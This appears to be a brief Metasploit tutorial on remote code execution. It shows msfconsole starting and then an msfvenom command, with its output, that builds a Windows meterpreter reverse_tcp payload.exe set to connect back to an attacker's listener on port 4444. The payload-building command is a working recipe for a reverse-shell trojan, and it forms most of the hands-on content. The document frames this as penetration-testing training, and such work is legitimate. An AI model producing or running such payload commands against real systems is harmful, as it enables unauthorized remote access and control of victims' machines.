

Metasploit- Remote Code Execution (RCE)

Remote Code Execution (RCE) in the Metasploit Framework refers to the process of exploiting vulnerabilities in remote systems to execute arbitrary code. Metasploit, a popular penetration testing tool, allows security professionals to identify and exploit RCE vulnerabilities by leveraging its vast library of exploits and payloads. When an RCE vulnerability is identified, Metasploit can be configured to target the vulnerable system by setting appropriate parameters such as the target IP address, port, and specific exploit details. Once configured, Metasploit's payload, which can be a reverse shell or meterpreter session, is delivered to the target. This allows the attacker to execute commands on the remote system, potentially gaining unauthorized access and control. The flexibility and extensive database of Metasploit make it a vital tool for demonstrating the impact of RCE vulnerabilities, aiding in vulnerability assessments, and reinforcing the importance of securing systems against such critical flaws.

Examples: -

1. Open msfconsole in order to create a .exe file.

```
(root@kali)-[/home/kali]
# msfconsole

Metasploit tip: View advanced module options with advanced

d8P      .\$$$$$!...,,=aaccaacc%#s$b.      d8,      d8P
#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$b.      `BP   d888888P
'7$$$$$\`"#####AA^".7$$$$|D*"#####      ?88'
d888888P                                     d8P
d8bd8b.d8P d8888b ?88' d888b8b              d8P      ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88             .oaS###S*~"    d8P d8888b $whi?88b 88b
d88  d8 ?8 88b     88b 88b ,88b .oS$$$$$*~" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*~" `?88' ?88 ?88 88b d88 d88
               .a#$$$$$$~"                88b d8P 88b`?8888P'
               s$$$$$$$~"                 888888P' 88n          _.,,ass;;
               .a$$$$$$$P~"                d88P'           ..,ass%#S$$$$$$$$$$$$$$$'
               .a$###$$$P~"                _.,,-aqc#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
               ,a$####$P~"                _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$##SSSS$'
               .a$$$$$$$$SS$S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS$==--"#####/$$$$$$'
               ,8$$$$$$'
               ll66$$$$'
               ;;lll6666'
               ...;llll6'
               .....;;llll;;....
               .....;;; .... .
```

```
[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

2. Use the below code in order to create a window's payload.

```
msf6 > msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp LHOST=[REDACTED] LPORT=4444 -f exe -o payload.exe
[*] exec: msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp LHOST=[REDACTED] LPORT=4444 -f exe -o payload.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
msf6 > 
```

3. As you can see we have successfully, created the windows payload.

